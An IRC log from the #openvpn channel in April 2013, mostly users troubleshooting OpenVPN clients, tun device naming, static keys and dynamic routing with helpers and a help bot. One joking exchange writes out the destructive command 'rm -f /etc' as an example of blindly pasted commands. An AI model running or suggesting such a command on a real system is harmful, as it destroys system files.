15:31 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Ping timeout: 245 seconds]
15:48 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
15:50 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
16:11 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Quit: ChatZilla 0.9.90 [Firefox 20.0.1/20130409194949]]
16:12 -!- lampo [~lampo@rrcs-69-193-168-22.nyc.biz.rr.com] has joined #openvpn
16:12 < lampo> i cant get a dhcp address on my windows xp openvpn client
16:12 < lampo> works fine on the mac's
16:13 -!- Zenum [~quassel@2001:470:6c:5bc::1000] has joined #openvpn
16:13 -!- Zenum [~quassel@2001:470:6c:5bc::1000] has quit [Changing host]
16:13 -!- Zenum [~quassel@unaffiliated/zenum] has joined #openvpn
16:13 < lampo> no firewall
16:15 < lampo> i think my client version is too old
16:15 < lampo> sorry, trying latest
16:27 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
16:31 < lampo> latest version worked, nevermind!
16:31 -!- lampo [~lampo@rrcs-69-193-168-22.nyc.biz.rr.com] has quit [Quit: Leaving]
16:33 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-cxilrkttwxqhuqgk] has quit [Ping timeout: 258 seconds]
16:47 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
16:53 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has joined #openvpn
16:56 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 276 seconds]
16:59 -!- Chaot_s [~chaot_s@94-227-62-231.access.telenet.be] has joined #openvpn
17:00 < Chaot_s> hi all, how can i force a open vpn tunnel to always use the same tunnel interface? i have 4 vpn links, tun0 - tun3, and want to make sure that each tunnel stays the same number.
17:06 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:08 < pekster> Chaot_s: Just give it a specific device with --dev. You probably want to avoid tun0 though, since that'll be in use if any other VPN dynamically allocates one. If you're going to name them like that, it's often best to name them explicitly, like tun_thing1 tun_thing2, etc to avoid namespace collisions
17:09 < Chaot_s> well, that would be even nicer.. tun-loc1-loc2 would make clear exactly what the tunnel is doing and would defenitlyavoid collusions :)
17:09 < Chaot_s> i didn't know that was allowed actually
17:10 < pekster> You can name it whatever you want, although if it doesn't start with "tun" you also need to use --dev-type to tell openvpn what kind of device it is. Besides that, name ie 'lookatme' for all it matters
17:11 < Chaot_s> pekster: You are great... i like it allready XD
17:11 < Chaot_s> for real have been looking for this for over 4 hours...
17:11 < Chaot_s> just couldn't find the right options
17:13 < Chaot_s> so the dev name can be anything you like as long as it contains tun, or its type is explicitly mentiond i should be fine?
17:13 < pekster> Yup
17:13 < Chaot_s> and if you found this online, could you point me to the documentation section you are using?
17:14 < pekster> Just the manpage
17:14 < pekster> !man
17:14 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
17:14  * Chaot_s feels ashamed.. have been scrolling thru that file for over 2 hours..
17:14 < pekster> It's a bit unweildly if you don't know what you want in advance
17:15 < pekster> See the note about the tun/tap prefix under --dev-type
17:15 < Chaot_s> found it...
17:15 < Chaot_s> i must have been blind to mis that...
17:16 < Chaot_s> i was looking for "number" and "interface"
17:16 < Chaot_s> thanx, you are great!
17:20 < Chaot_s> this makes stuff a lot more convinient XD
17:23 < Chaot_s> ha ! it works
17:35 -!- hesperaux_ [~hesperaux@174.37.86.108] has quit [Read error: Connection reset by peer]
17:36 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-jvgwzfkoxetdppfe] has joined #openvpn
17:36 -!- hesperaux_ [~hesperaux@174.37.86.108] has joined #openvpn
17:39 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 246 seconds]
17:41 -!- tharkun [~0@187.188.166.5] has joined #openvpn
17:41 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
17:41 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
17:52 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 252 seconds]
17:53 -!- tharkun [~0@187.188.166.5] has joined #openvpn
17:53 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
17:53 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
17:57 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 256 seconds]
18:12 -!- awc737_away is now known as awc737
18:13 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
18:30 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 245 seconds]
18:38 -!- Thermi_ [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
18:38 -!- newbie|5 [~tjz@bb119-74-161-116.singnet.com.sg] has quit [Quit: quit irc]
18:38 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
18:38 -!- tjz [~tjz@unaffiliated/tjz] has quit [Client Quit]
18:40 -!- SriKolla [~pamod@112.134.186.248] has quit [Ping timeout: 255 seconds]
18:41 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 256 seconds]
18:43 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:2c0f:766e:d5ba:242a] has quit [Quit: emmanuelux]
18:45 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
18:45 -!- tjz [~tjz@unaffiliated/tjz] has quit [Client Quit]
18:54 -!- NChief [tomme@unaffiliated/nchief] has quit [Read error: Operation timed out]
19:14 -!- awc737 is now known as awc737_away
19:21 -!- zarrsh [~zarrsh@cpe-65-27-192-220.cinci.res.rr.com] has joined #openvpn
19:27 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
19:27 -!- NChief [~nchief@unaffiliated/nchief] has joined #openvpn
19:29 -!- DarkFoxDK [DarkFoxDK@fox.lzd.dk] has joined #openvpn
19:30 < DarkFoxDK> Hi. I'm having this issue that's driving me nuts. Whenever I connect using OpenVPN (Through Tunnelblick or Viscosity) on my Mac (Lion), all browsers seem to think that they should use a proxy.
19:30 < DarkFoxDK> However, I can't find that one is defined anywhere.
19:30 -!- hesperaux__ [~hesperaux@c-98-213-190-149.hsd1.il.comcast.net] has joined #openvpn
19:31 -!- Ed|Laptop [~Ed@76-196-242-92.lightspeed.wlfrct.sbcglobal.net] has joined #openvpn
19:32 -!- raidz is now known as raidz_away
19:32 < Ed|Laptop> Hey guys, I got a Windows 7 machine with no AV, firewall, or UAC enabled. OpenVPN suddenly won't work, Network Connections display TAP-Windows Adapter V9 as "Network cable unplugged".  I've disalbed, uninstalled, rebooted, etc but still can not seem to get the TAP-Windows Adapter V9 to function.  Any ideas?
19:34 -!- hesperaux_ [~hesperaux@174.37.86.108] has quit [Ping timeout: 245 seconds]
19:35 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:44 < DarkFoxDK> Screw it... IRC is being as helpful as it ever was... I'll go bother IT about it instead... I didn't need to use the VPN for the next two weeks anyway...
19:44 -!- DarkFoxDK [DarkFoxDK@fox.lzd.dk] has left #openvpn ["[Insert witty quit message here]"]
19:46 <@krzee> Ed|Laptop,
19:46 <@krzee> !logs
19:46 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
19:48 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
20:01 -!- hesperaux_ [~hesperaux@174.37.86.108] has joined #openvpn
20:04 < Ed|Laptop> no status icon
20:04 < Ed|Laptop> when i open it up it auto minimizes to the system tasktray
20:05 < Ed|Laptop> i can right click it and go to settings
20:05 -!- hesperaux__ [~hesperaux@c-98-213-190-149.hsd1.il.comcast.net] has quit [Ping timeout: 272 seconds]
20:09 -!- master_of_master [~master_of@p4FF24AA1.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
20:11 < pekster> "suddenly won't work?" You do realize that you need a config file present before you connect, right?
20:12 < Ed|Laptop> yeah, I have a proxy from proxy.sh and they build in OpenVPN within their SafeJumper app
20:12 < Ed|Laptop> the safejumper app pulls the conf
20:12 < Ed|Laptop> and imports it into openvpn
20:12 < Ed|Laptop> and from what i can tell openvpn is the failpoint
20:12 < pekster> None of that applies to openvpn besides the 'openvpn' part
20:12 < pekster> No, it's not
20:12 < Ed|Laptop> exact same config file works on a local system
20:12 < pekster> The OpenVPN GUI use the config path to pull up configs to display in the context (aka "right-click") menu
20:13 < pekster> We support openvpn here, not arbitrary (and apparently poorly written) frontends. What happens if you put the config file where the official GUI program expects it?
20:13 < Ed|Laptop> when I open OpenVPN GUI it minimizes to the system task tray
20:13 < Ed|Laptop> when I right click the icon i get two options:
20:13 < Ed|Laptop> settings
20:13 < Ed|Laptop> exit
20:13 < Ed|Laptop> when i go to settings
20:14 < pekster> Yes, this is completely normal
20:14 < pekster> You need to *create* a config
20:14 < pekster> !howto
20:14 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
20:14 < pekster> Start there
20:14 < pekster> It's all explained quite clearly; there's an entire section for Windows
20:14 -!- Ed|Laptop [~Ed@76-196-242-92.lightspeed.wlfrct.sbcglobal.net] has quit []
20:14 < pekster> :(
20:53 < Chaot_s> people don't seem to be very patient today...
20:53 < Chaot_s> (or tonight in my case)
20:54 < pekster> Some people don't like the idea of work and go running as soon as they realize they need to open up a webpage and read (or, you know, Ctrl+F search on it)
20:54 < pekster> Or expect the FOSS community is their free tech support
20:55 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 258 seconds]
20:57 < Chaot_s> i know, see them lots of times
20:58 < Chaot_s> help is an option, not an obligation
20:58 < Chaot_s> if you want stuff done for you... pay someone
20:58 < pekster> It's more fun to lead people to answers. It's more educational, and helps weed out the people unwilling to bother to open a manpage or webpage when given a reference, or search based on some key topics
20:59 < Chaot_s> yup, i'm still looking in to some part of information i could just as easy dump here and wait for a possible awnser.
21:00 < Chaot_s> im just reading on the way stuff works to find out myself. then i know how, why and most important, why and what not to do
21:00 < pekster> And you're likely to ask a far smarter question even if you do eventually get stuck
21:01 < Chaot_s> biggest problem for me is not being native english :)
21:01 < Chaot_s> it makes it allot harder to explain the efforts done..
21:01 < Chaot_s> i actualy try as long as possible to prevent asking for exactly that reason
21:01 < pekster> From what I've seen you're doing fine
21:02 < rob0> Thank you! I appreciate the encouragement.
21:03 < Chaot_s> if you take the time to tell something as clear as possible, and take te time to read responses... there is almost always someone willing to help or think allong
21:03 < Chaot_s> i do not like to be spoonfed
21:04 -!- master_of_master [~master_of@p4FF24F99.dip0.t-ipconnect.de] has joined #openvpn
21:04 < Chaot_s> prevents the common stupidity of entering commands like rm -f /etc or such.
21:04 < Chaot_s> i have seen people stupid enough to just do that...
21:04  * rob0 tries rm -f /etc or such
21:04 < Chaot_s> lol
21:06 < Chaot_s> the route 192.x.x.x is not needed perse in a tun envirionment if i would like to run quagga in rip / ospf mode to dynamicaly manage the routes availeble via a tunnel... thats what i'm trying to find out..
21:06 < Chaot_s> i think its correct based on ip / route practice
21:07 < Chaot_s> though does openvpn requere a route to be given, or does it "just duplicate" packets over a given link?
21:08 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has quit [Read error: Operation timed out]
21:08 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has joined #openvpn
21:08 < Chaot_s> and that didn't make any sense XD
21:09 < pekster> You can manage the routes outside of openvpn if you'd like, but if you have a /24 (I'll use 10.8.0.0/24 as the typical sample net) then the server can't reach the clients connected to itself without such a route
21:09 < pekster> So, you're free to expose it via dynamic routing (rip, ospf, whatever) across the rest of your domain for failover, for instance
21:13 < Chaot_s> currently i have 5 locations (friends) running a centos machine connecting to there home isp an hosting 1 or 2 /24's in 192.168.10-15.0 range. all locations have 4 tunnels to all other locations and have a static route in openvpn conf for the remote /24's availeble via each link.
21:13 < Chaot_s> adding a /24 now means i need to edit all confs to make it hapen.
21:14 < Chaot_s> thats why i want to switch over to quagga :)
21:14 < Chaot_s> change something... no problem one line in quagga and a reload done
21:14 < Chaot_s> its just a big playground XD
21:17 < Chaot_s> though i hit a stone wall in the vpc test setup. there is always one /24 that doesn't get shared. i bet it has something to do with them being in the same lan and running a vpn link on exact the same lan route XD
21:20 < Chaot_s> ah found it... error in the firewall, outgoing port was at do nothing instead of accept
21:20 < Chaot_s> this means.. time to bring it to the real world and see what happens :)
21:21 < Chaot_s> security related question... is the static key files methode secure enough for connections between locations over the internet?
21:22 < pekster> !statickey
21:22 <@vpnHelper> "statickey" is (#1) you can use static keys by using --secret </path/to/key> or (#2) static keys only work for ptp links, not client/server. They also do not provide forward encryption. A forward-secure encryption scheme (such as openvpn uses with certs) protects secret keys from exposure by evolving the keys with time. or (#3) see !forwardsecurity for more info
21:23 < Chaot_s> !forwardsecurity
21:23 <@vpnHelper> "forwardsecurity" is (#1) in server/client mode with certs your key renegotiates (changes) every hour (by default), so if someone captures your traffic, and then gets your key, they can only decrypt the traffic within the timeframe since last renegotiation or (#2) in ptp mode (static key) you do not have this, so if someone gets your key they can decrypt ANY past traffic that they captured
21:23 < Chaot_s> clear :)
21:24 < Chaot_s> next thing to do is get known in detail with tls / ssl
21:24 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
21:25 -!- awc737_away is now known as awc737
21:28 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Ping timeout: 245 seconds]
21:29 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
21:34 -!- nutcase [~nutcase@2605:6400:2:fed5:22:0:b4f1:bd54] has joined #openvpn
21:34 -!- nutcase [~nutcase@2605:6400:2:fed5:22:0:b4f1:bd54] has quit [Changing host]
21:34 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
21:35 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
22:15 -!- hesperaux__ [~hesperaux@c-98-213-190-149.hsd1.il.comcast.net] has joined #openvpn
22:19 -!- hesperaux_ [~hesperaux@174.37.86.108] has quit [Ping timeout: 245 seconds]
22:22 -!- EugeneKay is now known as Eugene
22:40 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
23:28 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
23:34 -!- shellox [~chat@sakura.behrisch.im] has joined #openvpn
23:34 < shellox> hi
23:48 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
23:50 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
23:51 -!- SpaceBass [~SP@173-167-53-210-cpennsylvania.hfc.comcastbusiness.net] has quit [Ping timeout: 258 seconds]
23:52 -!- SpaceBass [~SP@173-167-53-210-cpennsylvania.hfc.comcastbusiness.net] has joined #openvpn
--- Day changed Tue Apr 30 2013
00:13 -!- nortel [~qssl_fnod@qw3rty-2-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Ping timeout: 246 seconds]
00:27 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
00:28 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: No route to host]
00:28 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
00:36 -!- hesperaux_ [~hesperaux@174.37.86.108] has joined #openvpn
00:40 -!- hesperaux__ [~hesperaux@c-98-213-190-149.hsd1.il.comcast.net] has quit [Ping timeout: 272 seconds]
01:08 -!- nortel [~qssl_fnod@qw3rty-2-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn
01:12 -!- nortel [~qssl_fnod@qw3rty-2-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Ping timeout: 246 seconds]
01:16 -!- nortel [~qssl_fnod@qw3rty-2-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn
01:19 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:24 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
01:26 -!- dougy [me@tech.qsi.net] has quit [Read error: Operation timed out]
01:26 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:32 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:12 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
02:12 -!- tharkun [~0@187.188.166.5] has joined #openvpn
02:12 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
02:12 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
02:15 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
02:17 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
02:18 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:28 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
02:29 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:38 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
02:39 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:41 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Ping timeout: 245 seconds]
02:53 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
03:27 -!- shellox [~chat@sakura.behrisch.im] has left #openvpn []
03:30 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 255 seconds]
03:31 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:32 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Max SendQ exceeded]
03:32 -!- takamichi [~takamichi@50.56.213.23] has joined #openvpn
03:39 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
03:45 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:45 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
03:45 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
03:52 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:56 -!- Nothing4You is now known as N4Y
03:57 -!- N4Y is now known as Nothing4You
04:14 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
04:19 -!- takamich_ [~takamichi@50.56.213.23] has joined #openvpn
04:20 -!- tharkun [~0@187.188.166.5] has joined #openvpn
04:20 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
04:20 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
04:21 -!- takamichi [~takamichi@50.56.213.23] has quit [Ping timeout: 256 seconds]
04:22 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:23 -!- takamich_ [~takamichi@50.56.213.23] has quit [Ping timeout: 264 seconds]
04:29 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:33 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
04:33 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
04:40 -!- mchou [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
04:52 -!- takamich_ [~takamichi@50.56.213.23] has joined #openvpn
04:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 260 seconds]
04:56 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
05:01 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
05:07 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:18 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 264 seconds]
05:19 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 252 seconds]
05:20 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Ping timeout: 245 seconds]
05:21 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 264 seconds]
05:21 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 246 seconds]
05:22 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
05:24 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out]
05:24 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
05:25 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
05:28 -!- nutcase [~nutcase@2605:6400:2:fed5:22:0:b4f1:bd54] has joined #openvpn
05:30 -!- nutcase [~nutcase@2605:6400:2:fed5:22:0:b4f1:bd54] has quit [Changing host]
05:30 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
05:31 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
05:31 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
05:31 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
05:37 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
05:39 -!- awc737 is now known as awc737_away
05:46 -!- eutheria [~eutheria@cpc24-cmbg15-2-0-cust120.5-4.cable.virginmedia.com] has joined #openvpn
05:46 < eutheria> hello i have set up a site to site vpn, i the server has a few network i want to route to
05:47 < eutheria> i think i need to add another route
05:48 < eutheria> oh no fw rule i think
05:55 < spacedust> eutheria: your choice :)
05:56 < eutheria> sorry i just thought i had to add an option to openvpn, but i was having one of those stupid moments
06:04 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
06:10 -!- tharkun [~0@187.188.166.5] has joined #openvpn
06:10 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
06:10 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
06:11 -!- kubbing [~kubbing@ip-89-177-147-98.net.upcbroadband.cz] has joined #openvpn
06:14 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
06:20 -!- tharkun [~0@187.188.166.5] has joined #openvpn
06:20 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
06:20 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
06:31 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has quit [Ping timeout: 245 seconds]
06:32 -!- kubbing [~kubbing@ip-89-177-147-98.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
06:34 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
06:39 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
06:41 -!- Devastator [~devas@177.99.152.148] has joined #openvpn
06:48 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has quit [Ping timeout: 245 seconds]
06:57 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
07:01 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
07:01 -!- eres [~rs@onyon.net] has left #openvpn []
07:15 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Ping timeout: 264 seconds]
07:20 <+oc80z> i am noticing some UAC interference with openvpn-gui.exe on W8
07:21 <+oc80z> it seems that if the openvpn gui is launched with runas /user:administrator with say --connect server.blah ... everything works out.. however, when the user decices to disconnect/reconnect -- the GUI goes away... (the tunnel is still open, tho')
07:21 <+oc80z> the same for when the gui is not ran with --connect , and the user manually right-click, connects.
07:22 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
07:22 <+oc80z> i did however, add the /env switch to hinder its hiding -- i think that was for the initial --connect (it will stay open in the users environment)
07:23 <+oc80z> interesting to know where/why the icon is disappearing from the user -- while the tunnel session is maintained.. may be i could change ACL/NTFS permisions on teh openvpn-gui binary?
07:24 <+oc80z> i have to add: the openvpn-gui.exe (after hiding and the recon/disconn) is no longer in the task manager / is an active process.
07:25 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 245 seconds]
07:27 -!- mikkel [~mikkel@109.202.158.84] has joined #openvpn
07:31 -!- newbie|2 [~tjz@bb119-74-161-116.singnet.com.sg] has joined #openvpn
07:34 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 264 seconds]
07:46 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
07:50 -!- RealRancor [~Rancor@mafiaforum.de] has joined #openvpn
07:54 -!- RealRancor [~Rancor@mafiaforum.de] has quit [Ping timeout: 246 seconds]
07:55 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:05 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.0]
08:09 -!- RealRancor [~Rancor@mafiaforum.de] has joined #openvpn
08:14 -!- RealRancor [~Rancor@mafiaforum.de] has quit [Quit: ZNC - http://znc.sourceforge.net]
08:15 -!- RealRancor [~Rancor@mafiaforum.de] has joined #openvpn
08:25 -!- APTX_ is now known as APTX
08:30 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:38 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
08:39 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:51 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
08:53 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
08:59 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
09:02 -!- Devastator [~devas@177.99.152.148] has quit [Changing host]
09:02 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
09:22 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
09:22 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 256 seconds]
09:22 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
09:25 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 256 seconds]
09:25 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Ping timeout: 245 seconds]
09:28 -!- nutcase [~nutcase@2605:6400:2:fed5:22:0:b4f1:bd54] has joined #openvpn
09:28 -!- nutcase [~nutcase@2605:6400:2:fed5:22:0:b4f1:bd54] has quit [Changing host]
09:28 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
09:31 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
09:31 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
09:31 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
09:33 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
09:34 -!- RealRancor [~Rancor@mafiaforum.de] has quit [Ping timeout: 245 seconds]
09:36 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
09:41 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
09:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:56 < defswork> oc80z, use the modified gui that supports management interface and run openvpn as a serice
09:56 < defswork> service*
09:58 -!- takamich_ [~takamichi@50.56.213.23] has quit [Ping timeout: 264 seconds]
10:01 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:02 -!- mikkel [~mikkel@109.202.158.84] has quit [Ping timeout: 256 seconds]
10:05 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
10:10 < pekster> oc80z: What version? Earlier builds of 2.3.0 had a bug in the GUI that caused it to crash, although it should have given you a crash report when it did. This was fixed in later 2.3.0 builds, and 2.3.1 is good all-around. Otheriwse the GUi shouldn't just "vanish"
10:17 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
10:23 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:29 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Ping timeout: 246 seconds]
10:33 -!- TheSov [~TheSov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
10:33 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
10:35 -!- jackbrown [~se@93-44-70-69.ip96.fastwebnet.it] has joined #openvpn
10:50 -!- jackbrown [~se@93-44-70-69.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
10:52 -!- awc737_away is now known as awc737
10:58 -!- JackWinter [~jack@vodsl-9778.vo.lu] has quit [Quit: ZNC - http://znc.in]
11:00 -!- JackWinter [~jack@vodsl-9778.vo.lu] has joined #openvpn
11:02 <+oc80z> pekster sorry was AFK/OFFLINE
